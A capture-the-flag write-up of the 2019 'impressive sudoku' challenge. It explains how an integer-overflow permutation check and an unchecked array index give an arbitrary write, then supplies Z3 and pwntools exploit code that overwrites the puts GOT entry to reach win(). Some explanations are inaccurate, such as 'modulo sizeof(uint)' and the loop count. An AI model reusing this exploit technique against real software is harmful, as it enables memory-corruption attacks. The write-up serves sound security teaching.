OverTheWire Advent Bonanza 2019: day-18 impressive sudoku

Description

First we asked you to solve a sudoku, now we want you to make one.

Along with an IP address/port there is also an archive given: https://advent2019.s3.amazonaws.com/4964615443db994db372a3d64524510452521f09809fdb50da22e83d15fb48ca.tar.gz The archive contains the file chal.cc and chal (an executable built from chal.cc).

Analysis

chal.cc has 89 lines and expects a sudoku as an input (given by a 9x9 matrix read from stdin). The sudoku is checked and if the score of the sudoku is >= 1000000, the flag is printed.

There are two interesting functions: check() and score(). The first one checks if the given sudoku is valid according to the "usual" rules (i. e. every column and row as well as all 3x3 fields have to be a valid permutation of the numbers from 1 to 9):

bool check() {
    uint row[9];
    for (int i = 0; i < 9; i++) {
        for (int j = 0; j < 9; j++) {
            row[j] = sudoku[i][j];
        }
        if (!checkrow(row)) {
            return false;
        }
    }
    for (int j = 0; j < 9; j++) {
        for (int i = 0; i < 9; i++) {
            row[i] = sudoku[i][j];
        }
        if (!checkrow(row)) {
            return false;
        }
    }
    for (int i = 0; i < 3; i++) {
        for (int j = 0; j < 3; j++) {
            for (int ii = 0; ii < 3; ii++) {
                for (int jj = 0; jj < 3; jj++) {
                    row[ii * 3 + jj] = sudoku[i * 3 + ii][j * 3 + jj];
                }
            }
            if (!checkrow(row)) {
                return false;
            }
        }
    }
    return true;
}

bool checkrow(uint nums[9]) {
    uint sum = 0;
    uint prod = 1;
    for (int i = 0; i < 9; i++) {
        sum += nums[i];
        prod *= nums[i];
    }
    // Lazy way to check nums is a permutation of 1 - 9.
    return sum == 45 && prod == 362880;
}

Interesting is the checkrow() function: To check if the integers are a valid permutation of 1 to 9, it sums up and multiplies all integers. However, the function contains a bug: If one of the digits overflows the range of an unsigned integer, the calculation happens modulo sizeof(uint). I.e. it's possible to have numbers outside of 1 to 9 in the nums array which will be important later on.

Do determine the score of the sudoku the following code is used:

uint scorer[9 + 1];

void score() {
    (...)
    for (int i = 0; i < 8; i++) {
        scorer[sudoku[i][i]] = sudoku[i + 1][i + 1];
    }
    uint score = 1;
    for (int i = 1; i <= 9; i++) {
        score *= scorer[i];
    }
    (...)
}

The code is interesting due to multiple reasons:

• The first loop goes from 0 to inclusive 7, the second loop goes from 1 to inclusive 9. The second loop multiplies the values in the scorer array from scorer[1] to scorer[9]. However, the first loop is executed only 7 times. This means that two values will always be 0 because they are not overwritten in the scorer array and hence the whole score will always be 0.
• The value of the sudoku itself is used as an index for the scorer array: scorer[sudoku[i][i]] = sudoku[i + 1][i + 1].

At this point we were stuck and did not really know how to proceed.

Solution

After the CTF, somebody posted a solution in Mattermost: https://pastebin.com/yMM49Q2W

The idea is to overwrite the address of puts() with the address of win(). This is possible because due to the overflow it is possible to overwrite arbitrary addresses:

scorer[sudoku[i][i]] = sudoku[i + 1][i + 1];

This is equal to *(scorer + sudoku[i][i]) = sudoku[i + 1][i + 1]. The address of puts() is overwritten if scorer + 4*sudoku[i][i] == puts. Therefore we calculate the difference of the addresses of puts() and the scorer array and divide it by the size of an unsigned integer (4):

We don't know the position of puts() but because it is a library function, it uses the PLT (see also https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html for an explanation):

08048400 <puts@plt>:
 8048400:       ff 25 10 a0 04 08       jmp    *0x804a010
 8048406:       68 08 00 00 00          push   $0x8
 804840b:       e9 d0 ff ff ff          jmp    80483e0 <.plt>

Therefore we take the hard coded address 0x804a010 and write to that location.

ADDR_WIN = 0x08048799
ADDR_PUTS = 0x0804A010
ADDR_SCORER = 0x0804A1C0
OFFSET_PUTS = (ADDR_PUTS - ADDR_SCORER) // 4

Now we use Z3 to model a solution to the sudoku:

cells = [BitVec('c_%d' % i, 32) for i in range(9)]

s = Solver()
s.add(sum(cells) == 45)
s.add(Product(cells) == 362880)
s.add(cells[0] == OFFSET_PUTS+2**32)
s.add(cells[1] == ADDR_WIN)
s.add(cells[2] == 1)
s.add(cells[3] == 2)
s.add(cells[4] == 3)

s.check()
m = s.model()
row = [m[c].as_long() for c in cells]

Notes:

• 2**32 is added to the offset because it is negative.
• The sum of all cells must be 45, which is checked in the checkrow() function.
• The product of all cells must be 362880, which is checked in the checkrow() function as well.

The output is, for example: [4294967188, 134514585, 1, 2, 3, 3911297825, 108947494, 113742248, 26465291]

Now we take an existing sudoku and replace the numbers with the numbers from the model. I. e. 3 in the first column is replaced with 1 because 1 is on the 3rd number in the output list. 6 is replaced with 3911297825 because it is the 6th number in the list, etc. This way the overflow holds for the rows, columns and the 3x3 matrices as well.

The final exploit sudoku is then sent line-wise to the server. The flag is retrieved and printed.

r = remote(HOST, PORT)

solution_idx = [
    [3, 6, 7, 5, 8, 4, 1, 2, 9],
    [2, 4, 1, 7, 3, 9, 5, 6, 8],
    [9, 8, 5, 2, 6, 1, 4, 3, 7],
    [6, 5, 2, 3, 9, 7, 8, 4, 1],
    [7, 1, 3, 8, 4, 2, 6, 9, 5],
    [4, 9, 8, 6, 1, 5, 2, 7, 3],
    [1, 7, 9, 4, 2, 8, 3, 5, 6],
    [8, 2, 6, 9, 5, 3, 7, 1, 4],
    [5, 3, 4, 1, 7, 6, 9, 8, 2],
]

for row in range(9):
    r.sendline(' '.join(str(values[idx-1]) for idx in solution_idx[row]).encode('ascii'))

response = r.recvall()
r.close()
if b'AOTW{' in response:
    print(response)

This prints the flag: AOTW{Th3t_is_such_aN_1mpr3ssive_Sud0ku}